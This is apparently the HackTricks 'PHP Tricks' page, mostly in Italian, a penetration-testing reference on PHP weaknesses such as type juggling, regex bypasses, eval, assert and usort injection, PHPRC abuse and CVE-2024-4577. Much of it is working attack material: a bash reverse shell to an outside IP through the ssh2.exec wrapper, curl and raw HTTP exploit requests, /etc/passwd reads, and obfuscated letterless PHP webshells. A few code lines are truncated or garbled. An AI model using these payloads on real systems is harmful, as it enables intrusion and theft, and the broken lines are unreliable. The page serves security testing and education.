PHP Tricks
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Cookies common location:
Questo è valido anche per i Cookies di phpMyAdmin.
Cookies:
PHPSESSID
phpMyAdmin
Posizioni:
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
Bypassare i confronti in PHP
Loose comparisons/Type Juggling ( == )
If == is used in PHP, then there are unexpected cases where the comparison doesn’t behave as expected. This is because “==” only compare values transformed to the same type, if you also want to compare that the type of the compared data is the same you need to use ===.
PHP comparison tables: https://www.php.net/manual/en/types.comparisons.php
.png)
"string" == 0 -> TrueUna stringa che non inizia con un numero è considerata uguale a un numero"0xAAAA" == "43690" -> TrueStringhe composte da numeri in formato decimale o esadecimale possono essere confrontate con altri numeri/stringhe con risultato True se i numeri sono gli stessi (i numeri in una stringa vengono interpretati come numeri)"0e3264578" == 0 --> TrueUna stringa che inizia con “0e” e seguita da qualsiasi cosa è uguale a 0"0X3264578" == 0X --> TrueUna stringa che inizia con “0” e seguita da qualsiasi lettera (X può essere qualsiasi lettera) e da qualsiasi altra cosa è uguale a 0"0e12334" == "0" --> TrueQuesto è molto interessante perché in alcuni casi puoi controllare l’input stringa di “0” e parte del contenuto che viene hashed e confrontato con esso. Pertanto, se puoi fornire un valore che produca un hash che inizi con “0e” e senza alcuna lettera, potresti bypassare il confronto. Puoi trovare stringhe già hashate con questo formato qui: https://github.com/spaze/hashes"X" == 0 --> TrueQualsiasi lettera in una stringa è uguale all’int 0
More info in https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09
in_array()
Type Juggling influisce anche sulla funzione in_array() di default (è necessario impostare a true il terzo argomento per effettuare una comparazione stretta):
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
strcmp()/strcasecmp()
Se questa funzione è usata per qualsiasi controllo di autenticazione (come la verifica della password) e l’utente controlla un lato del confronto, può inviare un array vuoto invece di una stringa come valore della password (https://example.com/login.php/?username=admin&password[]=) e bypassare questo controllo:
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
Lo stesso errore si verifica con strcasecmp()
Type juggling rigoroso
Anche se === viene usato, potrebbero esserci errori che rendono la comparazione vulnerabile al type juggling. Per esempio, se la comparazione converte i dati in un diverso tipo di oggetto prima di confrontarli:
(int) "1abc" === (int) "1xyz" //This will be true
preg_match(/^.*/)
preg_match() potrebbe essere usato per validare l’input dell’utente (esso controlla se qualsiasi word/regex da una blacklist è presente nell’input dell’utente e, se non lo è, il codice può continuare la sua esecuzione).
New line bypass
Tuttavia, quando si delimita l’inizio della regexppreg_match() controlla solo la prima riga dell’input dell’utente, quindi se in qualche modo puoi inviare l’input su più righe, potresti essere in grado di effettuare un bypass di questo controllo. Esempio:
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
Per bypassare questo controllo puoi inviare il valore con new-lines urlencoded (%0A) oppure se puoi inviare JSON data, invialo in più righe:
{
"cmd": "cat /etc/passwd"
}
Trova un esempio qui: https://ramadistra.dev/fbctf-2019-rceservice
Length error bypass
(Questo bypass è stato provato apparentemente su PHP 5.2.5 e non sono riuscito a farlo funzionare su PHP 7.3.15)
Se puoi inviare a preg_match() un valido e molto large input, non sarà in grado di processarlo e potrai bypass il check. Per esempio, se sta facendo blacklisting di un JSON potresti inviare:
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
Da: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0
ReDoS Bypass
Trucco da: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 and https://mizu.re/post/pong
.png)
In breve il problema si verifica perché le funzioni preg_* in PHP si basano sulla PCRE library. In PCRE alcune espressioni regolari vengono abbinate usando molte chiamate ricorsive, che consumano molto spazio nello stack. È possibile impostare un limite al numero di ricorsioni consentite, ma in PHP questo limite defaults to 100.000 che è maggiore di quanto lo stack possa contenere.
This Stackoverflow thread è stato anche linkato nel post dove si parla più in dettaglio di questo problema. Il nostro compito divenne ora chiaro:
Inviare un input che faccia eseguire alla regex 100_000+ ricorsioni, causando SIGSEGV, facendo sì che la funzione preg_match() ritorni false e quindi facendo credere all’applicazione che il nostro input non sia malevolo, lanciando la sorpresa alla fine del payload, qualcosa come {system(<verybadcommand>)} per ottenere SSTI –> RCE –> flag :).
Beh, in termini di regex, non stiamo realmente facendo 100k “recursioni”, ma piuttosto stiamo contando “backtracking steps”, che, come la PHP documentation afferma, sono impostati per default a 1_000_000 (1M) nella variabile pcre.backtrack_limit.
Per raggiungere quel valore, 'X'*500_001 risulterà in 1 milione di backtracking steps (500k forward e 500k backwards):
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
Type Juggling per PHP obfuscation
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
Execute After Redirect (EAR)
Se PHP reindirizza a un’altra pagina ma non viene chiamata nessuna funzione die o exit dopo che l’header Location è impostato, PHP continua l’esecuzione e aggiunge i dati al corpo della risposta:
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
Path Traversal and File Inclusion Exploitation
Check:
Altri trucchi
- register_globals: In PHP < 4.1.1.1 o se mal configurato, register_globals può essere attivo (o il loro comportamento viene emulato). Questo implica che in variabili globali come $_GET se hanno un valore es. $_GET[“param”]=“1234”, puoi accedervi tramite $param. Pertanto, inviando parametri HTTP puoi sovrascrivere variabili che sono usate all’interno del codice.
- Le PHPSESSION cookies dello stesso dominio sono memorizzate nello stesso posto, quindi se all’interno di un dominio vengono usati cookie diversi in percorsi diversi puoi fare in modo che un percorso acceda al cookie dell’altro percorso impostando il valore del cookie dell’altro percorso.
In questo modo, se entrambi i percorsi accedono a una variabile con lo stesso nome puoi fare in modo che il valore di quella variabile in path1 si applichi a path2. E allora path2 considererà valide le variabili di path1 (assegnando al cookie il nome corrispondente a quello usato in path2). - Quando conosci gli usernames degli utenti della macchina, controlla l’indirizzo: /~<USERNAME> per vedere se le directory php sono attivate.
- Se una config php ha
register_argc_argv = Onallora i parametri di query separati da spazi vengono usati per popolare l’array degli argomentiarray_keys($_SERVER['argv'])come se fossero arguments from the CLI. Questo è interessante perché se quella setting is off, il valore dell’args array will beNullquando chiamato dal web poiché l’array degli args non verrà popolato. Pertanto, se una pagina web cerca di verificare se viene eseguita come web o come tool CLI con un confronto tipoif (empty($_SERVER['argv'])) {, un attaccante potrebbe inviare parameters in the GET request like?--configPath=/lalalae il server penserà che venga eseguito come CLI e potenzialmente parserà e utilizzerà quegli argomenti. Maggiori info nel writeup originale. - LFI and RCE using php wrappers
password_hash/password_verify
These functions are typically used in PHP to generate hashes from passwords and to to check if a password is correct compared with a hash.
The supported algorithms are: PASSWORD_DEFAULT and PASSWORD_BCRYPT (starts with $2y$). Note that PASSWORD_DEFAULT is frequently the same as PASSWORD_BCRYPT. And currently, PASSWORD_BCRYPT has a size limitation in the input of 72bytes. Therefore, when you try to hash something larger than 72bytes with this algorithm only the first 72B will be used:
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
HTTP headers bypass abusing PHP errors
Provocare un errore dopo aver impostato gli headers
From this twitter thread puoi vedere che inviando più di 1000 GET params o 1000 POST params o 20 files, PHOP non imposterà gli headers nella risposta.
Permette di bypassare, per esempio, i CSP headers impostati in codici come:
<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];
Riempire il corpo della risposta prima di impostare le intestazioni
Se una pagina PHP sta stampando errori e facendo echo di input forniti dall’utente, l’utente può far sì che il server PHP restituisca del contenuto sufficientemente lungo così che, quando tenta di aggiungere le intestazioni alla risposta, il server generi un errore.
Nello scenario seguente l’attaccante ha fatto sì che il server generasse errori di grandi dimensioni, e come si vede nella schermata quando php ha provato a modificare le informazioni degli header, non ci è riuscito (quindi, ad esempio, l’header CSP non è stato inviato all’utente):
.png)
SSRF nelle funzioni PHP
Consulta la pagina:
ssh2.exec stream wrapper RCE
When the ssh2 extension is installed (ssh2.so visible under /etc/php*/mods-available/, php -m, or even an FTP-accessible php8.1_conf/ directory), PHP registers ssh2.* wrappers that can be abused anywhere user input is concatenated into fopen()/file_get_contents() targets. An admin-only download helper such as:
$wrapper = strpos($_GET['format'], '://') !== false ? $_GET['format'] : '';
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
È sufficiente per eseguire comandi shell via SSH su localhost:
GET /download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1:22/ping%2010.10.14.6%20-c%201#
- La parte delle credenziali può riutilizzare qualsiasi leaked system password (e.g., from cracked bcrypt hashes).
- Il
#finale commenta il suffisso lato server (files/<id>.zip), quindi viene eseguito solo il tuo comando. - Blind RCE si conferma monitorando l’egress con
tcpdump -ni tun0 icmpo servendo un HTTP canary.
Sostituisci il comando con un reverse shell payload una volta convalidato:
format=ssh2.exec://yuri:mustang@127.0.0.1:22/bash%20-c%20'bash%20-i%20>&%20/dev/tcp/10.10.14.6/443%200>&1'#
Poiché tutto avviene all’interno del PHP worker, la connessione TCP origina dal target e eredita i privilegi dell’account iniettato (yuri, eric, etc.).
Esecuzione di codice
system(“ls”);ls;
shell_exec(“ls”);
Check this for more useful PHP functions
RCE via preg_replace()
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
Per eseguire il codice nell’argomento “replace” è necessaria almeno una corrispondenza.
Questa opzione di preg_replace è stata deprecata a partire da PHP 5.5.0.
RCE via Eval()
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
RCE tramite Assert()
Questa funzione all’interno di PHP permette di eseguire codice scritto in una stringa per restituire true o false (e a seconda di questo modificare l’esecuzione). Di solito la variabile controllata dall’utente verrà inserita nel mezzo di una stringa. Per esempio:assert("strpos($_GET['page']),'..') === false") –> In questo caso, per ottenere RCE potresti fare:
?page=a','NeVeR') === false and system('ls') and strpos('a
Dovrai rompere la sintassi del codice, inserire il tuo payload, e poi ripristinarla. Puoi usare operazioni logiche come “and”, “%26%26” o “|”. Nota che “or”, “||” non funzionano perché se la prima condizione è vera il nostro payload non verrà eseguito. Allo stesso modo “;” non funziona poiché il nostro payload non verrà eseguito.
Altra opzione è aggiungere alla stringa l’esecuzione del comando: '.highlight_file('.passwd').'
Altra opzione (se hai il codice interno) è modificare qualche variabile per alterare l’esecuzione: $file = "hola"
RCE via usort()
Questa funzione viene usata per ordinare un array di elementi usando una funzione specifica.
Per abusare di questa funzione:
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#
<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
You can also use // to comment the rest of the code.
Per scoprire il numero di parentesi che devi chiudere:
?order=id;}//: otteniamo un messaggio di errore (Parse error: syntax error, unexpected ';'). Probabilmente ci manca una o più parentesi.?order=id);}//: otteniamo un warning. Sembra corretto.?order=id));}//: otteniamo un messaggio di errore (Parse error: syntax error, unexpected ')' i). Probabilmente abbiamo troppe parentesi di chiusura.
RCE tramite .httaccess
Se puoi upload un .htaccess, allora puoi configure diverse cose e perfino eseguire codice (configurando che i file con estensione .htaccess possano essere executed).
Different .htaccess shells possono essere trovate here
RCE tramite Env Variables
Se trovi una vulnerabilità che ti permette di modify env variables in PHP (e un’altra per caricare file, anche se con più ricerca questo potrebbe essere bypassato), potresti abusare di questo comportamento per ottenere RCE.
LD_PRELOAD: Questa variabile d’ambiente permette di caricare librerie arbitrarie quando si eseguono altri binari (anche se in questo caso potrebbe non funzionare).PHPRC: Indica a PHP dove trovare il suo file di configurazione, solitamente chiamatophp.ini. Se puoi caricare il tuo file di configurazione, usaPHPRCper puntare PHP su di esso. Aggiungi una voceauto_prepend_filespecificando un secondo file caricato. Questo secondo file contiene normale codice PHP, che viene poi eseguito dal runtime PHP prima di qualsiasi altro codice.
- Carica un file PHP contenente il nostro shellcode
- Carica un secondo file, contenente una direttiva
auto_prepend_fileche istruisce il preprocessore PHP ad eseguire il file caricato al punto 1 - Imposta la variabile
PHPRCsul file caricato al punto 2.
- Per maggiori informazioni su come eseguire questa catena vedi from the original report.
- PHPRC - un’altra opzione
- Se non puoi caricare file, su FreeBSD puoi usare il “file”
/dev/fd/0che contiene lostdin, ossia il body della richiesta inviata allostdin: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'- Oppure, per ottenere RCE, abilita
allow_url_includee premetti un file con codice PHP in base64: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'- Tecnica from this report.
XAMPP CGI RCE - CVE-2024-4577
Il webserver analizza le richieste HTTP e le passa a uno script PHP eseguendo una richiesta come http://host/cgi.php?foo=bar come php.exe cgi.php foo=bar, il che permette un’injection di parametri. Questo permetterebbe di iniettare i seguenti parametri per caricare il codice PHP dal body:
-d allow_url_include=1 -d auto_prepend_file=php://input
Inoltre, è possibile iniettare il parametro “-” usando il carattere 0xAD a causa della successiva normalizzazione di PHP. Guarda l’esempio di exploit in this post:
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php
phpinfo();
?>
PHP Sanitization bypass & Brain Fuck
In this post è possibile trovare ottime idee per generare un brain fuck PHP code con pochissimi caratteri consentiti.\ Inoltre viene proposta anche una modalità interessante per eseguire functions che ha permesso loro di bypassare diversi checks:
(1)->{system($_GET[chr(97)])}
PHP Analisi statica
Verifica se riesci a inserire codice nelle chiamate a queste funzioni (da here):
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
Se stai facendo il debugging di un’applicazione PHP puoi abilitare globalmente la stampa degli errori in /etc/php5/apache2/php.ini aggiungendo display_errors = On e riavviare apache: sudo systemctl restart apache2
Deobfuscare codice PHP
Puoi usare il web www.unphp.net per deobfuscare il codice PHP.
PHP Wrappers & Protocols
I PHP Wrappers e i Protocols possono permetterti di bypass write and read protections in un sistema e comprometterlo. Per maggiori informazioni consulta questa pagina.
Xdebug unauthenticated RCE
Se vedi che Xdebug è abilitato nell’output di phpconfig() dovresti provare a ottenere RCE tramite https://github.com/nqxcode/xdebug-exploit
Variable variables
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
RCE abusing new $_GET[“a”]($_GET[“b”])
Se in una pagina puoi create a new object of an arbitrary class potresti essere in grado di ottenere RCE; consulta la pagina seguente per imparare come:
Php Rce Abusing Object Creation New Usd Get A Usd Get B
Eseguire PHP senza lettere
https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
Usando ottale
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
XOR
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
XOR easy shell code
Secondo this writeup , è possibile generare il seguente easy shellcode in questo modo:
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
Quindi, se puoi execute arbitrary PHP without numbers and letters, puoi inviare una richiesta come la seguente abusando di quel payload per execute arbitrary PHP:
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
Per una spiegazione più approfondita, consulta https://ctf-wiki.org/web/php/php/#preg_match
XOR Shellcode (inside eval)
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
Simile a Perl
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
Riferimenti
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


